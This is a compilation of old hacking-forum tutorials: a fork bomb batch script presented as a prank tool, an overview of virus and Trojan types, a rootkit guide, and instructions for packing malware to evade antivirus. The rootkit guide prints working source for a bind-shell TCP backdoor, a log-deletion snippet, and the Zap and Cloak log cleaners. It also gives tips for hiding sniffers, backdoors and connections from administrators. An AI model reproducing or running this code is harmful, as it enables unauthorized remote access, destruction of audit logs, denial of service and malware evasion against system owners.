How to make a Fork Bomb

Introduction

Hey guys, haven't posted on here for a while, been honing my skills . And I 've got a new thing for all u guys to have fun with, its very easy and fun to do. Before we start coding ill explain what a fork bomb actually is.

A fork bomb or rabbit virus opens an application for example cmd.exe so many times that its overloads the computers processor which results in the computer either overheating, shutting down or in some cases you can get a BSOD (blue screen of death). Unlike little batch viruses like the shutdown one you cannot stop a fork bomb unless you extremely 1337 so once it starts it goes until it does its job.

Most Anti-Virus software will not pick a fork bomb or rabbit virus, as far as its concerned its just a batch file the opens and application.

Background

Fork Bombs aka Rabbit viruses have been around for ages due to their effectiveness to evade anti-virus software. I came across it when i wanted to play a practical joke on my schools administrator for his birthday. Just to let you know it worked and hes not some n00b. I find them very effective just don't bomb yourself.

The code

Ok this is the code that you type into notepad.exe remember to save it as a .bat or if you want it in a dorminant for save it as a .txt

One more thing...I am not responsible if you kills your computer or somebody else computer with or without permission. Now that we have that out a the way here we go...

Blocks of code should be set as style "Formatted" like this.

Code: .bat

:s

START %0

GOTO :s

References

Have fun guys

Read more ...

Viruses and Trojan Horse

Viruses:

The definition on a virus will be it will copy itself in large numbers on the victims’ computer. This can might have many effects how the computer will act to this changes made by a program. It can slow down the performance and it will use up memory of the computer to new processes so aren’t good at all. Also for a virus it’s very important to load into the memory of the computer when it boot-ups. They are also using many different tactics to hide from the Anti Virus Software’s. They will normally cause a lot of havoc on the computer it is running on.

Boot Sector Viruses:

The virus will be execute while the computer is starting up this allow the virus to move into memory right away when the computer is active they will also overwrite or remake an new copy of themselves to boot sector again it will also point to a new virus file so it will load again when the computer start-up again. This is the basic example of how a virus will try to stay alive. When the virus files into the memory it can keep infect other files on the hard drive.

Program Viruses:

This is a virus so is included into a program you may download from the internet they can be find in different sharewares around the World Wide Web. They are designed to load into the memory when the program are being executed. They can only make a lot of copies of themselves to different locations. Or they might infect specific file types like *.exe *.sys *.com. Most Program viruses are made the to useful programs so the user shouldn’t accept it to be virus. They may also delete or corrupt files on the system. This virus load into the memory only when the program is executed.

Multipartites Viruses:

This is a virus so more advanced than the other to types I explained here. They will have the same effect as the both viruses anyway. The virus will be downloaded from the internet they user believe it is a useful program but instead it will try to do weird actions on the victims’ computer. When the executable file is executed it will copy itself to MasterBootSection. This will say when computer bootup the virus will go straight into the memory of the computer. When that happened it will replace or copy more files to the computer so will have link to start-up in the memory of the computer. It will also infect specific files types on the computer. It can also corrupt and damage data on the computer to the victim.

Stealth Viruses:

As the name say this is a virus so is really tricky for virus scanners to detect since its using several methods to hide themselves away from the scanners. It can also deny access to the files they are hiding in. They are also allowed to hide in program so are virus free to avoid detection. Some of them can even move out off the computers memory for an amount of time to avoid scanners. Also it can change the size of the files its hiding in to pretend the file is nothing wrong with.

Polymorphic Viruses:

This virus type is one of the most difficult viruses for Anti-Virus Scanners to detect this is for when the file is executed on the victims computer the go into the memory link themselves to start-up when the computer start-up the programs. When it infects files on the computer they are allowed to change the virus signature so it can avoid virus detecting. Also critical parts of the virus might also be encrypted so it can avoid detect. Signature is needed for virus scanners to detect the specific virus

Macro Viruses:

This will indicate that the virus is an evil code so can hide in applications you download from the internet or it can be in documents. The viruses are designed to make a lot of havoc on the victim’s computer. They are typed into Visual Basic Application. This will also say that it is typed into advanced Visual Basic. The will try to delete and destroy data on the computer.

Trojan Horse:

This is a program so will pretend to be something so will help your computer but it will in the reality harm it in many ways. All Trojan horses are really "RATs" this will say that it open an back door on the victims computer so an attacker from a remote computer will gain access to all your files on your computer they can also control Software and Hardware functions on your system. In many Trojans they have also included Key loggers so will record all keystrokes you take on your computer. Since they have control of all the functions of the computer they may also use your computer to attack other systems on for avoid detection.

How does the Trojan Work:

First so will happened is you must find a way to infect the system of the target this can be done in several ways... You can for example send it through E-Mail or Instant Messenger. It can also be done by attach the server file by insert it to a legally file like a *.jpg to hide it. When it is installed it will start a server on the remote computer and open a port for the Attacker to come through. When the user is online it will alert the Attacker. So he knows when he can strike the user. Normal action of an attacker at this point is to take away all function to a system so are useful to take away the Trojan Horse like security and stuff like that.

How to Detect Trojan Horses:

This can be very easily done just go to command prompt and type "netstat -n" you will now see a list with open ports on your system if you find a port you might think is a Trojan you can simply search for Trojan port list in your internet browser. Another thing you should take a look at all the Trojan Horses are normally loading into the memory of the computer while it’s booting up. So you should check for files so boot up while windows boot. You should go into the registry to different paths like this: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr entVersion\Run" take away the files you don't want to boot up at start-up. If you find any "temp" files take them away since no temp files should be executed into memory while windows start this will normally indicate that you are infected with a virus.

Read more ...

The Art of Rootkits !

This t-filepaper or whatever you want to call it (I'll refer to this phile as a T-file)will help you grasp and understand the concepts of "root kits". I will not bore you with the 'history' of root kits, I will just go straight into it, in an easy to follow manner. This t-file was written for the Beginner & Intermediate computer user and previous knowledge of *nix systems is required to get the most out of this t-file...

1.2 - Foreword

I'll make this section short. The information contained in this t-file was written by me this paper has been in development for the last two weeks. I used two main methods to put together this paper...

• Reading - I spent countless hours reading other peoples papers, ideas, theories etc on root kits, partly so I could start somewhere.
  
• Practical - I also spent countless hours doing "practical" work so I could write this paper from my own experiences not just based on other people’s experience.

When it came to performing this practical work I used two main *nix distros. Red Hat 9 and OpenBSD, it doesn't matter what distro you decide to use because this is always a personal choice.

It is strongly recommended that before you even attempt to compile or use any of the rootkits mentioned in this paper you know EXACTLY what you are doing and you are running such programs in a controlled environment.

E.g. a controlled environment would be a stand alone PC disconnected from all forms of communication (network, internet, intranet etc)

An un-controlled environment would be a PC connected to the Internet or a network (Your companies network would be a very stupid choice!)

This brings us to the "Disclaimer"...

**********************************************
DISCLAMIER
**********************************************

I am not responsible for [INSERT BIG SPEECH HERE] this information has been written for educational purposes only *coughWHATEVERcough*.

The bottom line is I have told you how to do it, I never said do it!

1.3 - What is a root kit?

You know it's one thing to sit and watch paint dry but you know what else is worse than that?

Reading a file about something you don't even understand... Therefore it's time you learnt what a root kit is (If you already know then feel free to skip this section)

A rootkit is a program. Rootkits come in all different shapes and styles, some more advance than others. Rootkits are basically programs that help attackers keep their position as root. Notice it's called a "rootkit". 'root' meaning the highest level of administration on *nix based systems and 'kit' meaning a collection of tools. Rootkits contain tools which help attackers hide their presence as well as give the attacker full control of the server or host continuously without being noticed.

Rootkits are usually installed on systems when they have been compromised and the highest level of access has been given (usually root) Some rootkits refuse to be installed until the attacker has root access, due to read and write permission to certain files. Once the system has been successfully compromised and the attacker has root, heshe may then install the rootkit, allowing them to cover their tracks and wipe the log files.

A typical rootkit consists of the following utilities (Note: We will look at these in a lot more detail later on)

• Backdoor Programs - login backdoors, telnetd etc
• Packet Sniffers - Sniff network traffic such as FTP, TELNET,POP3
• Log-Wiping Utilities - Bash the logs to cover tracks
• DDoS Programs - Turn the box into a DDoS client (Remember trinoo?)
• IRCBots - Bots used to take over IRC channels (Lame and annoying)
• Miscellaneous programs - May contain exploit, log editor

(Don't worry to much if you don't understand any of the above, as I said were look at this all in a lot more detail further down)

1.4 - Hacker Jargon Definition

Oh Hail the mighty hacker jargon!

This is what the "Hacker Jargon" says about the word "rootkit"...

"rootkit: /root´kit/, n.

[very common] A kit for maintaining root; an automated cracking tool. What script kiddies use. After a cracker has first broken in and gained root access, he or she will install modified binaries such as a modified version login with a backdoor, or a version of ps that will not report the cracker's processes). This is a rootkit."

Wow! that's amazing! We worship you hacker jargon! Thank you ever so much for explaining to me what a rootkit is!

Remember kidz, all you have to do is read out some cool urban HaX@r words out the jargon to your friends and they will think your really c00l! and 1337!

1.5 - Hackers or the Kidz?

Now the question you are probably asking yourself is "Is a rootkit a hackers tool or just another script kiddie tool?" (Well, you may not be thinking that, maybe I just sux and my psychology skills are as good as yours..) Well, the "Hacker Jargon" defines a rootkit and a script kiddies tool and to some extend heshetheyIT is right (The jargon is always right)

Rootkits don't really require that much skill to run or use. Most rootkits can be compiled like this..

gcc t0rn.c -o rootkit

then...

./rootkit

(Now obviously when compiling all "hacker" tools you need to chose a name which disguises it's purpose, so rootkit would be a really stupid choice)

However there are some rootkits that require more skill to run and use. Some rootkits require you to edit the source code before it's compiled and some even need you to edit the iptables and kernel. (Very advance ones, they used one at the "Black Hat Conference" in 2002)

So, rootkits are used by both hackers and script kiddies. I personally believe that a hacker would have to write his own rootkit to call himself a hacker not just run and use someone else code. (However that’s just my opinion, so don't hold me to that!)

1.6 - Who uses rootkits and why?

I have already really covered this in the previous sections, however for the forgetful types I shall explain again, just to summaries up what we have learnt so far...

Hackers and script kiddies use rootkits, they use them to maintain root and cover their tracks. Script kiddies lack knowledge of *how* a rootkit really works and most often they will end up deleting key binary files. (Basically, script kiddies will let you know when they have compromised your system)

Rootkits are only installed when the system has been compromised and root has been gained.

I don't really want to go into any more detail, because I'll end up just repeating myself. Lets just move on...

1.7 - The Language rootkits are coded in

Hmmm, well this isn't going to be short...

Most rootkits are coded in C or Assembly (Shell code). Most of the well-known rootkits are coded in C so the attacker can edit the source code to fit its target specification. (E.g. The logs files could be stored in a different location)

1.8 - Different types of rootkits

At the current time of writing there are 2 main types of rootkits.

Application rootkits - Established at the application layer

Kernel rootkits - Established at the kernel level (Core of any OS)

When I say "established" this could be referred to of where exactly the rootkit hides. Now lets start of my looking at an application rootkit.

An application rootkit is basically a rootkit which "replaces" all the well know system binary files (ls, netstat, killall) with "fake" or "Trojanned" ones. The trojanned or fake system files will help hide the attackers presence, report false information to the system administrator and even provide a Backdoor for the attacker. To help you understand this more I have provided a list of all the typical system files, which are "replaced" to, help the attacker cover his or her tracks. The list was taken from "Rootkit: Attacker Undercover Tools" by Sailman Manap.

Programs replace to hide attacker presence.

• "ls", "find", "du" - Trojaned system file will be able to hide attackers file, directory

and stuff that have been brought into the system from being listing.

• "ps", "top", "pidof" - All these programs are process monitor program. Trojaned

program will hide attacker process from being listing.

• "netstat" - netstat is used to check network activity such as open port, network

connections establish and listening. Trojaned netstat will hide processes installed by attacker such as ssh daemon or other services.

• "killall" - Trojaned "killall" will not be able to kill attacker process.
• "ifconfig" - When sniffer is running PROMISC flag is set to the nic. "ifconfig" is a handy utility to set and to view setting of ethernet nic. Trojaned "ifconfig" will not display the PROMISC flag when sniffer is running. This is useful to hide sniffer from being detected.
• "crontab" - Trojaned "crontab" will hide the attacker’s crontab entry.
• "tcpd", "syslogd" - Trojanised "tcpd" and "syslog" will not log any connection made by attacker. "tcpd" also capable to bypass tcp wrapper enforcement.

Hopefully, that would should have given you a better idea of what an Application is. Remember, this section has only be written so you can distinguish the differences between a "Application" rootkit and "Kernel" rootkit. Lets now take a look at a Kernel rootkit.

A Kernel rootkit is a rootkit that buries itself deep in the Kernel. This makes it extremely hard to detect and remove. Kernel rootkits are more advance then Application rootkits, A Kernel rootkit works by exploiting and manipulating Kernel capabilities. Now I don't really want to go in much more detail on Kernel rootkits because they can get quite advance (Well, they ARE) were talk about them later in this file, it may also help to look at "2.7 - How the kernel works" to get a feel for these Kernel rootkits...

It's now time to move on. In the next section (Section 2) We look at all the elements which make up a rootkit, such as a Backdoor, Sniffer, log basher etc Half way through section 2 we will then look at "Kernel Rootkits" in more detail.

2 - Backdoors

Most of today’s (decent) rootkits contain "Backdoors". Now you should all know what a Backdoor is but just in case you didn't I will quickly give a brief explanation of all.

Backdoor - A program or script which allows an attacker to establish some form of privilege and remote communication without logging into the system. Backdoors are usually installed when the system has been successfully compromised and some form of exploit has been entailed. The advantage of installing a backdoor on a system means that the attacker doesn't have to keep using the same exploit over and over again. The disadvantage of installing a backdoor means at one point or another the system administrator will notice suspicious activity in his network traffic, if he or she were to run a port scanner such as Nmap (Coded by Fyodor http://www.insecure.org) he or she would soon uncover an open port and sooner or later remove the backdoor.

A typical example of a Windows NT2000 backdoor is one entitled "Tini.exe" (Made by NTSecurity) This little program listens on port 7777 for incoming connections, once a connection has been established a remote command shell is executed for the attacker who establishes the connection. (Now as I have mentioned this t-file generally deals with *nix backdoors, so I don't really want to get side stepped talking about windows backdoors, exploits etc I thought I'd just mention tini.exe to give you a general idea of what a Backdoor consists of.

Now lets talk more about *Nix backdoors. *nix backdoors come in *many* shapes and sizes. The paper by Sailman Manap gives yet another long comprehensive list of all the forms backdoors come in...

• Login Backdoor - Modifying login.c to look for backdoor password before stored password. Attacker can log into any account using backdoor password.
• Telnetd Backdoor - Trojaned the "in.telnetd" to allow attacker gain access with backdoor password.
• Services Backdoor - Replacing and manipulate services like "ftp", "rlogin", even "inetd" as backdoor to gain access.
• Cronjob backdoor - Backdoor could also be added in "crontjob" to run on specific time for example at 12 midnight to 1 am.
• Library backdoors - Almost every UNIX and Windows system have shared libraries. Shared libraries can be backdoor to do malicious activity including giving a root or administrator access.
• Kernel backdoors - This backdoor is basically exploiting the kernel, which is core of the operating system to handle and to hide backdoor effectively
• Network traffic backdoors which typically using TCP, UDP, and ICMP - Backdoor that Exploiting network traffic protocol is widely used. In TCP protocol backdoor like ssh is Popularly used because it communicate in encrypt, while crafting and tunneling packet In UDP and ICMP traffic will give a better chances escaping from firewall and "netstat".

All of these and any other forms of *nix backdoors are explained and documented by Christopher Klaus, his paper can be

Reached at http://secinf.net/info/unix/backdoors.txt, I strongly recommend you check it out if you are either really interested in Backdoors or you still haven’t grasped the basic concepts of Backdoors. I have also written a small file on Backdoors entitled "A Crash Course in Backdoors" it is available at http://www.invisibleghosts.net

To finish of this section on backdoors, I feel like adding some source code. (This is a basic TCP Backdoor for *nix if you don't own a copy of linux or unix don't even attempt to compile this

I did not write this, shaun2k2 did, so please give ALL credit for the below source code to him.

Code: C

/* backdoor.c - basic unix tcp backdoor.

*

* This is a basic UNIX TCP backdoor. /bin/sh is binded to the port of your

* choice. Access the shell with telnet or netcat:

*

* root# nc -v hackedhost.com 1337

*

* I do not take responsibility for this code.

*/



#include h>

#include h>

#include h>

#include h>

#define BACKLOG 5

#define SHELL "/bin/sh"



void usage();



int main(int argc, char *argv[]) {

   if(argc <2) {

       usage(argv[0]);

   }

 

   int sock, csock;

   struct sockaddr_in client;

   struct sockaddr_in mine;

   if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {

       printf("Couldn't make socket!n"); exit(-1);

   }

 

   mine.sin_family = AF_INET;

   mine.sin_port = htons(atoi(argv[1]));

   mine.sin_addr.s_addr = INADDR_ANY;

   if(bind(sock, (struct sockaddr *)&mine, sizeof(struct sockaddr)) == -1) {

       printf("Could not bind socket!n");

       exit(-1);

   }

 

   if(listen(sock, BACKLOG) == -1) {

       printf("Could not listen on socket!n");

       exit(-1);

   }

 

   printf("Listening for connections on port %s!n", argv[1]);

 

   while(1) {

       int sin_size;

       sin_size = sizeof(struct sockaddr);

       csock = accept(sock, (struct sockaddr *)&client, &sin_size);

       dup2(csock, 0);

       dup2(csock, 1);

       dup2(csock, 2);

       execl("/bin/sh","/bin/sh",(char *)0);

       close(csock);

   }

}



void usage(char *progname[]) {

   printf("Usage: %s n", progname);

   exit(-1);

}

The main purpose of me showing you this source is to give you a general idea of what a rootkit consists of. Remember rootkits come in many shapes and sizes and every rootkit is most likely to contain some form of Backdoor...

So what else do rootkits contain apart from Backdoors? Lets move on to the next section and look at "Sniffers".

2.1 - Sniffers

A lot of today’s rootkits contain programs known as "Sniffers". What are Sniffers? (Also known as Packet Sniffers)

Basically packet Sniffers are programs that are made to "Monitor" network traffic, TCPIP or any other network device. I'm sure you know when you are browsing the Internet or playing online games "Packets" of data are going to and from your Computer. Attackers install Sniffers so they can capture valuable information which is floating to and from your computer.

What type of valuable information?

Here is a list of what a Sniffer is capable of...

• Sniffing FTP passwords
• Sniffing Telnet passwords
• Sniffing Network passwords
• Sniffing POP3 passwords
• Capturing websites you have visited
• Sniffing Gateways
• Lots more

Some of you may be thinking "Won't my passwords been encrypted as they are passing over my network?" To some extent this is true, some services provide encryption (Such as E-mail if you were using PGP sniffing would be useless, unless of course your a good cryptographer)

Other services such as ftp and telnet transfer their passwords in plain text, so it would be easy for an attacker to just capture the packet then dump it into a text editor (such as "vi", "Pico" or for M$ notepad) it would only take a couple of minutes for an attacker to uncover the plain text password.

Now there is a technical side to Sniffers that I don't really want to go into. For more information on Sniffers please read http://www.sans.org/infosecFAQ/switchednet/sniffers.htm this paper was written by a "Jason Drury" and I have found it most useful. If you are more interested in Windows Sniffers then I can recommend getting a copy of the following....

• Windows Sniffer
• TcpDump
• Password Capture --------> Made especially to sniff passwords
• Sniff
• Ethereal
• EtherPeep

My personal favorite Sniffer for Windows has to be TCPDump it's command line driven so the scripties wouldn't go near it but for those truly interested in the elements of computer hacking I would recommend TCPDump, it will take time getting used to it but its worth it.

Now what about linux sniffers.. Hmmmm I'll be honest with you I haven’t had much experience using linux Sniffers, but I have been told there are some good tutorials on how to make your own Sniffer for *nix on http://www.planetsourcecode.com, however before you even attempt to make your own I strongly recommend you get into socket programming. If you want a read made Sniffer just google for one, a common one is "linsniffer.c"

Anyway back to the main point, most rootkits DO sometimes contain "ready to run" Sniffers and Sniffers are hard to detect once they are running. (Were look at this a little later) The purpose of this section was just to show you WHAT a Sniffer is.. Now you know lets move on

2.2 - Cleaners (Log Bashers)

Ah, we come to something a lot more simpler, Log Bashers (Also known as Log deleters, Log killers and Log Cleaners)

No matter what the title they all do the same thing. Delete system log files. System Administrators rely on logging as an extra form of security. Log files can keep track on who logged in last and at what type, what programs were run as that user was logged in etc etc

Therefore it is exceptionally important for the attacker to destroy ALL traces of log files. Now, some of you may be thinking..

"If all the Log files are deleted won't this give an indication to the system administrator that there box has been hacked?"

If you’re thinking that, then your dead right. Deleting the log files can sometimes be pretty stupid, the best way to get around the log files is to "edit" the entries by deleting your entries and filling in some false ones (Sometimes this requires root access, but if your running a log cleaner of a rootkit you should already have root

Another way around this is to delete the whole log file then to "re-create" them. Here is a VERY simple script I made to demonstrate what I mean...

Code: C

int main()

system("rm-rf /root/logs/LastEntry.log");

touch(" /root/Logs/LastEntry.log");

return 0;

Now for those who don't know any C then I shall I explain. The first main line of the code is telling the C program to remove the file LastEntry.log, delete it. The second line is telling the program to create a file called LastEntry.log in the exact same location.

So when the system administrator opens the log file he will be confronted with a blank file. (This may be a bit stupid because if the admin is security minded he will know the system has been compromised. Some stupid admins see it as a 'Bug' therefore you get away with it.)

Most rootkits contain some form of log-cleaner, but before you execute it you need to make sure you know exactly HOW it works, otherwise your just another script kiddie who "presumes" this tool will cover your tracks completely. Some log cleaners search certain directories for words like "IP" "Login", "Logs", "Log" etc and then delete them. Some just delete all the default log files that are in the default system location. Before you compile a rootkit learn C and take a look at the source code you may find you need to edit some of the entries. It's important you come FULLY prepared before you go out and install your rootkit.

I'll tell you now, I have been in this game long enough to realize even if you successfully editDelete a bunch of log files it doesn't mean you’re untraceable. You still need to think about system programs which are running, which may have their own logging capabilities. Look out for IDS (Intrusion Detection Systems) such as SNORT and look out for programs like Tripwire and any other security programs which monitoranalyze system security.

As more and more people become security minded so do there software and "security awareness" system administrators are getting clever, so be careful!

I'll end this section now with some source for some well known log cleaners, I would strongly recommend not using them though, since they are fairly old. I'm only using them to show you what typical log cleaners are (used to be) like. Just because they are old though doesn't mean they don't work I'm just pretty sure if you Google about you can find MUCH better ones.

This is a very old log cleaner called "Zap" the source code is below..

Code: C

#include h>

#include h>

#include h>

#include h>

#include h>

#include h>

#include h>

#include h>

#define WTMP_NAME "/usr/adm/wtmp"

#define UTMP_NAME "/etc/utmp"

#define LASTLOG_NAME "/usr/adm/lastlog"



int f;



void kill_utmp(who)

char *who;

{

   struct utmp utmp_ent;

 

   if ((f=open(UTMP_NAME,O_RDWR))>=0) {

       while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )

           if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {

               bzero((char *)&utmp_ent,sizeof( utmp_ent ));

               lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);

               write (f, &utmp_ent, sizeof (utmp_ent));

           }

           close(f);

   }

}



void kill_wtmp(who)

char *who;

{

   struct utmp utmp_ent;

   long pos;

 

   pos = 1L;

   if ((f=open(WTMP_NAME,O_RDWR))>=0) {

     

       while(pos != -1L) {

           lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);

           if (read (f, &utmp_ent, sizeof (struct utmp))<0) {

               pos = -1L;

           } else {

               if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {

                   bzero((char *)&utmp_ent,sizeof(struct utmp ));

                   lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);

                   write (f, &utmp_ent, sizeof (utmp_ent));

                   pos = -1L;

               } else pos += 1L;

           }

       }

       close(f);

   }

}



void kill_lastlog(who)

char *who;

{

   struct passwd *pwd;

   struct lastlog newll;

 

   if ((pwd=getpwnam(who))!=NULL) {

     

       if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {

           lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);

           bzero((char *)&newll,sizeof( newll ));

           write(f, (char *)&newll, sizeof( newll ));

           close(f);

       }

     

   } else printf("%s: ?n",who);

}



main(argc,argv)

int argc;

char *argv[];

{

   if (argc==2) {

       kill_lastlog(argv[1]);

       kill_wtmp(argv[1]);

       kill_utmp(argv[1]);

       printf("Zap2!n");

   } else

       printf("Error.n");

}

Here is another little log cleaner called Cloak v1.0 it wipes your presence on SCO, BSD, Ultrix, and HP/UX UNIX. This program is *old* and was written by Wintermute of -Resist-.

Code: C

/* UNIX Cloak v1.0 (alpha) Written by: Wintermute of -Resist- */

/* This file totally wipes all presence of you on a UNIX system*/

/* It works on SCO, BSD, Ultrix, HP/UX, and anything else that */

/* is compatible.. This file is for information purposes ONLY!*/



/*--> Begin source... */

#include h>

#include h>

#include h>

#include h>

#include h>



main(argc, argv)

int argc;

char *argv[];

{

   char *name;

   struct utmp u;

   struct lastlog l;

   int fd;

   int i = 0;

   int done = 0;

   int size;

 

   if (argc != 1) {

       if (argc >= 1 && strcmp(argv[1], "cloakme") == 0) {

           printf("You are now cloakedn");

           goto start;

       }

       else {

           printf("close successfuln");

           exit(0);

       }

   }

   else {

       printf("usage: close [file to close]n");

       exit(1);

   }

start:

   name = (char *)(ttyname(0)+5);

   size = sizeof(struct utmp);

 

   fd = open("/etc/utmp", O_RDWR);

   if (fd < 0)

       perror("/etc/utmp");

   else {

       while ((read(fd, &u, size) == size) && !done) {

           if (!strcmp(u.ut_line, name)) {

               done = 1;

               memset(&u, 0, size);

               lseek(fd, -1*size, SEEK_CUR);

               write(fd, &u, size);

               close(fd);

           }

       }

   }

 

 

   size = sizeof(struct lastlog);

   fd = open("/var/adm/lastlog", O_RDWR);

   if (fd < 0)

       perror("/var/adm/lastlog");

   else {

       lseek(fd, size*getuid(), SEEK_SET);

       read(fd, &l, size);

       l.ll_time = 0;

       strncpy(l.ll_line, "ttyq2 ", 5);

       gethostname(l.ll_host, 16);

       lseek(fd, size*getuid(), SEEK_SET);

       close(fd);

   }

}

2.3 - Rootkit Extra Utilities

I will try and keep this section short due to there isn't really that much to say. As you should know by now and as I have mentioned rootkits come in all shapes and styles. Some rootkits are well known for their advance log cleaner, others for there advance Backdoor and others for there adavnce, stealth hard to remove installation procedure.

There are some rootkits which are well known for being SAR (Swiss Army Rootkits) basically, they are rootkits with average features plus a whole load of extra utilities such as Bots, DdoS, Extra scripts, Password crackers, Killer scripts etc

Rootkits that contain scripts that cause DDoS attacks are considered dangerous, if an attacker were to exploit 100's of servers and install such a rootkit those servers would then become "Zombies" they could launch DDoS attacks (SYN, PING, FINGER, UDP, TCP) against chosen targets. Rootkits are continuously being made more advance and extra utilities are being added on each time. In the future I personal predict that rootkits will be a major threat to national security.......

That’s really all I have to say for this section. Lets move on.

2.4 - Kernel Rootkits (More Detail)

We have already briefly looked at "Kernel Rootkits" but we haven’t really looked at them in close detail. In this section I plan to analyze and expose the basics of a kernel rootkit. If your not to sure on what the "Kernel" is I recommend you skip this section and move onto the next section (2.5) then come back to this section when you feel that you are ready.

The best way to start of this section is talk about how Kernel rootkits actually work. Kernel rootkits work, basically by exploiting LKM. (Loadable Kernel Modules)LKM are used to load device drivers on a "as-needed" bases. LKM are usually only exploited so the attacker can perform malicious activity.

Kernel rootkits are way more dangerous than Application rootkits because instead of just replacing the basic binaries like "ls" and "netstat" they attack the kernel directly and manipulate system-calls like open() and read(). As we know application rootkits replace binaries, if the administrator was clever and analyzed the actual binaries which had been replaced they will realize the differences in size (e.g. the program could contain an extra 128 bytes) However, this wouldn't be possible with Kernel rootkits because instead of actually changing the size and structure of the program, they just change the way the program operates. For example programs like "ps" use an open system call "open()" and reads information from files in the directory /proc, where also the information about running processes is kept.

For more information on rootkits and to mess about with typical examples of each rootkit type...

Considering obtaining a copy of..

Application rootkit - t0rn Kernel rootkit - Adore (Also known as LKM-Adore)

2.5 - How the Kernel Works

This will be a very basic and very short section and is only here to help those understand how the Kernel works.

What is a Kernel? In English and using non-technical jargon a Kernel is basically the "Core" of the OS (Linux, Unix, Windows). Without the Kernel an Operating System could not load.

The Kernel is one of the first things which load in a OS and it remains in the main memory. Since it's staying in the main memory its *very* important for the Kernel to be as small as possible, but at the same time be able to provide all the essential programs, services, devices, applications and drivers for the OS.

Typically, the kernel is responsible for I/O(Input and Output) management, Device drivers, CPU management, process and task management, and disk management.

The kernel looks something like this....

Code:

_ _ _ _ _ _ _ _ _

|Applications and | - LKM - System Calls

|_Programs_ _ _ _ |

*******************

* MAIN KERNEL * - Consists of: Memory Management

* * IO Management

******************* CPU Management

| Hardware | Device Drivers

|_ _ _ _ _ _ _ _ _ |

Understand?

Quite simple really...

2.6 - Analyzing an Application Rootkit "T0rnkit"

This is a professional analysis of the rootkit "T0rn" this was taken of off Mcaffe's main site.

"T0rnkit attempts to hide its presence when installed. During installation it first shuts down the system-logging daemon, syslogd. It then replaces several other system executables with trojanized versions and adds a trojanized ssh daemon to the system as well. Programs that are replaced are, among others; du, find, ifconfig, login, ls, netstat, ps, sz and top. If the system administrator uses these somewhat vital functions they report normal looking information, but the processes and network connections that the hacker uses aren't shown. Finally T0rnkit starts a Sniffer in background, enables telnetd, rsh and finger daemons in "/etc/inetd.conf", restarts inetd to activate changes made and starts syslogd again. This all without the system administrator knowing about it.

Noteworthy is that all new programs in the t0rnkit all have the exact size of 31.336 bytes. T0rnkit usually can be found in the directory /usr/src/.puta, but of course not if it already has been activated because the command 'ls' will have been replaced. With the standard installation of t0rnkit TCP port 47017 is open for root access to the system. A modified version of this rootkit was also distributed by a variant of Unix/Lion worm.

A system administrator that is a little bit into the security world can find a with t0rnkit infected system pretty fast because of the change in file sizes and a simple port scan will reveal the open port, but funny enough most people don't have this 'expertise' "

2.7 - A variety of hiding methods

To finish off section two, I will give you some tips that I have found to be useful when hiding certain features of a rootkit e.g. Backdoor, Sniffer etc)

Lets start by reviewing ways to successfully hide the actual rootkit...

To start off with, it would be a good idea to hide the compiled rootkit in a hidden directory. I would recommend creating a directory you suspect the administrator will not go near. For example try hiding it in a folder situated in /var/something/something/something make it as long as possible and rename the file using the "mv" command to something the admin will not suspect is a "suspicious" file (e.g. Kernel-023, pso, ls2 etc)

Now when running the sniffer make sure you add the character "&" behind of it, like this "lnsniffer&", the "&" tells the system to continue running the program even when the user is logged out. However, this does provoke a slightly higher risk. If you leave the Sniffer running all day and the sysadmin logs in he may notice something is up if he was to execute the "ps" command. Sniffers are great programs for getting passwords, if a TCP Sniffer was installed on a regular Ethernet connection you could capture a good 50 odd passwords!

The downside to Sniffers are they may need to be modified slightly before you can run them, also some IDS programs can detect changes made to the Ethernet card (e.g. When the card is switched into promiscuous mode the IDS will know and alert the admin)

Now if your running a "Kernel rootkit" its quite easy to hide the Sniffer, because if the kernel rootkit is any good it should allow the Sniffer to hide the promiscuous flag of the network interface. The system call to Trojan in this case is sys_ioctl() (You don't really need to know that, unless your planning on writing your own kernel rootkit)

"Hiding network connections" is another technique you may wish to use. To sucessfully hide network connections it can be done by preventing the system logging the activities inside “/proc/net/tcp” and “/proc/net/udp”. The idea for a kernel rootkit is to trojan the sys_read() command. Whenever reading these two files and a line matching a unique string, the system call will hide it from user.

The above techniques can then be brought together to successfully hide a backdoor. Most backdoors you install will listen on a certain port, this informartion is then logged into /proc/net/tcp and /proc/net.udp, you would need to manipulate the sys_read() system call to sucessfully hide the backdoor.

Now it's important that you know using rootkits could be a very easy way to get busted. There have been times when I have just gone into a system with a custom made log cleaner and nothing else. System administrators are getting quite clever and with the rapid growth of advance programs like "Promiscuous Detectors" and "Chkrootkit" it's easy for the attacker to slip up and get busted. Kernel rootkits are the best type of rootkits to use when penetrating through a system but they are also the most complex and will require patience and understanding before they can be put to any real use.

Before you just go out and install a bunch of rootkits on your "rooted boxes" I would strongly recommend experimenting with them on your own box, so you learn EXACTLY what they are doing. If you haven’t got a box to practice on I recommend you download and install a copy of VMWare, NEVER take risks! There is more to life than computers, don't mess your whole life up with some stupid childish mistake!

Read more ...

How-To Make All Viruses/Trojans Undetectable!



this tut is not tested so if u try it n it works plzz let me know ty




This tutorial teaches you how to make all viruses undetectable by ALL antivirus software.



1) Get your trojan, virus, keylogger or what ever you want to make undetectable.



2) Download Software Passport (Armadillo) by Silicon Realms.



http://wcarchive.cdrom.com/pub/drnet...rePassport.exe

3) After you have downloaded it, install and run the application.



http://img339.imageshack.us/img339/6...assportzh3.jpg


4) Download these settings for the application.


http://rapidshare.com/files/8749860/projects.arm.html


Download this file for a backup. (You need this in the same location as the projects.arm file)




http://rapidshare.com/files/8750048/projects.Stats.html



5) Once you have download these files and put them in the same folder, open Software Passport and click Load Existing Project (top left). Where it says "Files to Protect" delete everything and add all the files you want to make undetectable.



6) When you have finished step 5, go to the bottom right and click "Build Project." Proceed.




You can visit the following website to see if your file is undetectable.




http://www.virustotal.com/



credits Tutorial by: ]SiN[



i am sorry to this wont work.its says u need to buy this software this trial version will not protect

